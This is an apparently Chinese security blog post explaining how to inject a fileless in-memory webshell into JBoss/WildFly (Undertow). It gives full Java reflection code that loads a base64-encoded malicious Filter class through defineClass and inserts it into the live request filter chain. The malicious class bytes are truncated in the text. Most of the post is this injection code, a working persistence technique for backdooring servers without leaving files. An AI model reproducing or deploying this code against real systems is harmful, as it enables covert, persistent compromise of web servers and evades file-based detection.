JBoss无文件webshell研究

前言

在网上并没有怎么找到JBoss无文件shell的资料，只找到了宽字节的一篇，其中遇到了很多问题，不过还好自己也后来解决了，发现自己遇到了很多白痴问题，感觉自己好笨。。。

环境

IDEA 2021.3
wildfly-20.0.0.Final

分析

如何生成Filter

先在IDEA中部署一个JBoss项目，然后在Filter中先断点，同时使用debug启动，来观察一下。

我们可以看见有个MangerFilter#createFilter函数，我们跟进

public void createFilter() throws ServletException {
        synchronized(this) {
            if (this.filter == null) {
                try {
                    this.handle = this.filterInfo.getInstanceFactory().createInstance();
                } catch (Exception var4) {
                    throw UndertowServletMessages.MESSAGES.couldNotInstantiateComponent(this.filterInfo.getName(), var4);
                }

                Filter filter = (Filter)this.handle.getInstance();
                (new LifecyleInterceptorInvocation(this.servletContext.getDeployment().getDeploymentInfo().getLifecycleInterceptors(), this.filterInfo, filter, new FilterConfigImpl(this.filterInfo, this.servletContext))).proceed();
                this.filter = filter;
            }

        }
    }

在MangerFilter#createFilter中如果Filter不存在那么就会调用LifecyleInterceptorInvocation来生成filter，其中使用到了两个参数：this.servletContext，this.filterInfo，所以如果要通过反射生成Filter我们需要传入这两个参数

如何获取filterInfo和servletContext

在MangerFilter中跟入filterInfo，观察filterInfo初始化需要name及filter的名称，然后一个filterClass

综上所述，我们需要通过反射的生成filterInfo的代码如下

 Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("FilterTest", evilFilterClass);

对于其中的evilFilterClass又如何生成？我们只需要自己写一个Filter然后生成class文件，进行读取并进行base64加密即可,然后通过反射调用defineClass生成一个evilFilterClass

BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "yv66vgAA....";
Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassM.setAccessible(true);
evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), b64Decoder.decodeBuffer(codeClass), 0, b64Decoder.decodeBuffer(codeClass).length);

而defineClass为什么这么写的原因只需要自己通过IDEA观察一下就可以明白

而我们需要获取servletContext我们跟入

然后查找哪些地方使用了ServletContext，在ServletRequest中调用到了，而对于

现在很简单了，我们主要想办法获取ServletRequestContext就可以，而在其中存在getCurrentServlet的方法可以获取

现在步骤清晰了，这里已经可以生成一个Filter了接下来我们需要做的就是获取内存中的filters，然后加入其中

将生成的filter加入到内存中

很巧的是我们刚刚获取的currrentServlet，就是ServletChain

那么我们获取得到filters然后加入就完成了

Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
Object servletChain = getCurrentServletM.invoke(curContext);
Field filtersF = servletChain.getClass().getDeclaredField("filters");

filtersF.setAccessible(true);
java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
filterList.add(evilManagedFilter);

解决问题

filterArrayList为null

现在证实一下内存马是否成功，但是却失败了，报错显示的是空指针异常，

但是为什么会报错，为也没想明白，就尝试看看各个阶段的一些关键参数的值

可以看见filterList为null，
当时我对着屏幕发了好久的呆，然后后来突然想到了arraylist为null时不能成功的加入，因此进行尝试，这是因为在当前页面filter是空的，我们只要自己先把filter写进来就可以添加了

现在成功加入了

验证

完整代码：

	Method currentM = null;
        currentM = Class.forName("io.undertow.servlet.handlers.ServletRequestContext").getDeclaredMethod("current");
        Object curContext = currentM.invoke(null);

        Method getCurrentServletM = curContext.getClass().getMethod("getCurrentServlet");
        Object servletChain = getCurrentServletM.invoke(curContext);

        Field filtersF = servletChain.getClass().getDeclaredField("filters");
        filtersF.setAccessible(true);
        java.util.EnumMap filters = (EnumMap) filtersF.get(servletChain);

        String evilFilterClassName = "FilterTest";
        Class evilFilterClass = null;

        try {
            evilFilterClass = Class.forName(evilFilterClassName);
        } catch (ClassNotFoundException e) {
            BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
            String codeClass = "yv66vgA";
Method defineClassM = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClassM.setAccessible(true);
            evilFilterClass = (Class) defineClassM.invoke(Thread.currentThread().getContextClassLoader(), b64Decoder.decodeBuffer(codeClass), 0, b64Decoder.decodeBuffer(codeClass).length);
        }

        ArrayList filterList = (ArrayList) filters.get(DispatcherType.REQUEST);
        Object evilFilterInfo = Class.forName("io.undertow.servlet.api.FilterInfo").getDeclaredConstructors()[0].newInstance("FilterTest", evilFilterClass);

        Field servletRequestF = curContext.getClass().getDeclaredField("servletRequest");
        servletRequestF.setAccessible(true);
        Object obj = servletRequestF.get(curContext);

        Field servletContextF = obj.getClass().getDeclaredField("servletContext");
        servletContextF.setAccessible(true);
        Object servletContext = servletContextF.get(obj);

        Object evilManagedFilter = Class.forName("io.undertow.servlet.core.ManagedFilter").getDeclaredConstructors()[0].newInstance(evilFilterInfo, servletContext);
        filterList.add(evilManagedFilter);